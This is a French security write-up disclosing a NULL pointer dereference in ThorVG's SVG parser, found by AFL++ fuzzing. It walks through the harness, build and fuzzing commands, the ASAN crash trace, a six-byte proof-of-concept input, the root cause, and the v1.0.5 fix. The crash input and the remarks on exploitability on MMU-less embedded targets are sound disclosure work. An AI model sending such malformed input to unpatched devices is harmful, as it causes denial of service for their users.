
ThorVG déréférencement de pointeur NULL via un SVG malformé — write-up de fuzzing AFL++
Sévérité : CVSS 4.3 (Moyenne) — CWE-476
Avis de sécurité : GHSA-f863-8ghq-7h64
Corrigé : ThorVG v1.0.5
Statut : Corrigé / Divulgué
L'analyseur SVG de ThorVG déréférence un pointeur qui n'est jamais initialisé lorsqu'il rencontre une
balise d'élément enfant tronquée dans un nœud racine <svg>. Le bug est atteignable via le chemin de
rendu normal (tvg::Picture::load → analyse → rendu) et peut être déclenché avec une entrée de
6 octets.
L'impact dans le pire des cas sur Linux standard est un crash du processus (DoS) — mmap_min_addr
empêche le mappage de la page NULL, de sorte que le défaut n'est pas directement exploitable pour une
exécution de code dans cet environnement. Sur les cibles sans MMU où ThorVG est également utilisé
(Tizen, firmware basé sur LVGL), le tableau de l'exploitabilité est différent et mérite un examen plus
approfondi.
ThorVG est un moteur graphique vectoriel multiplateforme écrit en C++17. C'est le rendu SVG/Lottie par défaut dans Samsung Tizen OS, il est inclus dans LVGL (largement utilisé dans les interfaces embarquées/IoT) et est distribué comme bibliothèque autonome sur plusieurs plateformes.
La bibliothèque traite des entrées SVG/JSON non fiables et est souvent exposée dans des contextes sans séparation de privilèges. Le code des analyseurs dans les bibliothèques graphiques a historiquement été une source fiable de bugs de sécurité mémoire — ThorVG est activement développé et, au moment de cette recherche, ne présentait aucune couverture de fuzzing enregistrée dans les traqueurs de bugs publics.
Le harness encapsule l'API de chargement en mémoire de ThorVG afin qu'AFL++ puisse piloter directement l'analyseur sans E/S disque.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
Compilation avec ASAN + instrumentation de couverture :
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
Partir de zéro avec des octets aléatoires donne de mauvais résultats sur les analyseurs sensibles au format. J'ai initialisé le corpus avec un ensemble de fichiers SVG minimaux structurellement valides couvrant :
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g> imbriqué<use>Les graines sensibles à la structure ont réduit le temps jusqu'aux premiers chemins intéressants de plusieurs heures à moins de 20 minutes dans mon environnement.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — dictionnaire de jetons AFL++ avec des mots-clés SVG pour aider à muter vers des noms de balises valides.
-m none — la mémoire shadow d'ASAN nécessite de désactiver la limite mémoire d'AFL++.
AFL++ a produit un crash après environ 3 heures de fuzzing sur un seul cœur. L'entrée initiale provoquant le crash faisait ~180 octets. La sortie ASAN :
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
Le défaut est une lecture à travers un pointeur SvgNode* non initialisé (NULL) dans _parseStyle.
Le pointeur est censé être défini par _createElement lorsqu'il traite un élément enfant,
mais un nom de balise tronqué fait que l'élément est ignoré sans que le pointeur soit assigné,
et _parseStyle le déréférence quand même.
Minimisé avec afl-tmin, puis élagage manuel :
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
Après afl-tmin, l'entrée faisait 14 octets. L'inspection manuelle du chemin d'analyse a montré que
seuls les 6 premiers octets étaient consommés avant le défaut :
<svg><
<svg> ouvre le nœud racine. < commence une balise d'élément enfant. L'analyseur lit le nom de la
balise, obtient une chaîne vide (l'entrée se termine immédiatement après <), ignore la création de
l'élément et retombe dans _parseStyle avec le pointeur de nœud toujours NULL.
Confirmez que le déclencheur de 6 octets se reproduit :
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
Pseudo-code simplifié du flux vulnérable :
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
Le correctif de la v1.0.5 ajoute un retour anticipé dans la boucle de distribution des éléments
lorsque _createElement renvoie nullptr, avant toute tentative de traitement d'attributs/styles.
/proc/sys/vm/mmap_min_addr est généralement défini sur 65536 sur les distributions modernes.
La page NULL n'est pas mappée, donc le CPU lève un SIGSEGV que le noyau convertit en signal pour le
processus — le résultat est un crash (DoS). Aucune écriture contrôlée, aucun contrôle du PC,
pas directement exploitable pour une exécution de code.
ThorVG est un citoyen de première classe dans Tizen (OS IoT/portable de Samsung) et est intégré dans LVGL, qui s'exécute sur des microcontrôleurs et des systèmes sans MMU.
Sur les systèmes sans MMU, il n'y a pas de protection mémoire et mmap_min_addr ne s'applique pas.
Si la page NULL est mappée (ce qui est courant dans les environnements embarqués bare-metal), un
déréférencement de pointeur NULL peut potentiellement pointer vers une mémoire contrôlée par
l'attaquant. L'atteignabilité dans une attaque réelle dépend de la surface d'attaque — ThorVG sur un
appareil Tizen peut analyser du SVG provenant de sources réseau non fiables ou de contenus fournis
par l'utilisateur.
C'est ce contexte qui justifie une divulgation responsable même pour un constat CVSS Moyen.
Le correctif ajoute une garde NULL dans la boucle de distribution des éléments SVG :
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
Diff complet : Version v1.0.5 de ThorVG
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
Sortie attendue : rapport ASAN avec SEGV on unknown address 0x000000000000 dans
tvg::SvgParser::_parseStyle.
Trouvé par yeahhbean (이예빈) via du fuzzing guidé par couverture AFL++ avec un corpus de graines SVG sensible à la structure.
| Date | Événement |
|---|
| 2026-xx-xx | Crash découvert via AFL++ |
| 2026-xx-xx | Cause racine confirmée sous ASAN ; POC de 6 octets produit |
| 2026-xx-xx | Rapport privé envoyé au mainteneur de ThorVG (hermet) via GitHub Security Advisory |
| 2026-xx-xx | Le mainteneur a accusé réception et ouvert un fork privé |
| 2026-xx-xx | Correctif fusionné dans v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 publié ; CVE-2026-45729 assigné |